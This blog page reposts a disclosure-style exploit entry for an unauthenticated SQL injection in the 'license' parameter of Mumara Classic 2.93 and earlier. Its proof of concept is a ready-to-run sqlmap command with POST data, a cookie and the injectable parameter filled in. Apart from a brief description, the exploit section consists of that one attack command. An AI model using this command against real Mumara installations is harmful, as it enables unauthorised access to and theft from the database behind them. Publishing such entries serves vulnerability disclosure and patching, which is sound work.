Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86372910

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Mumara Classic 2.93 - 'license' SQL Injection (Unauthenticated)
# Date: 2021-11-11
# Exploit Author: (v0yager) Shain Lakin
# Vendor Homepage: https://mumara.com
# Version: <= 2.93
# Tested on: CentOS 7

-==== Vulnerability ====-

An SQL injection vulnerability in license_update.php in Mumara Classic
through 2.93 allows a remote unauthenticated attacker to execute
arbitrary SQL commands via the license parameter.

-==== POC ====-

Using SQLMap:

sqlmap -u https://target/license_update.php --method POST --data "license=MUMARA-Delux-01x84ndsa40&install=install" -p license --cookie="PHPSESSID=any32gbaer3jaeif108fjci9x" --dbms=mysql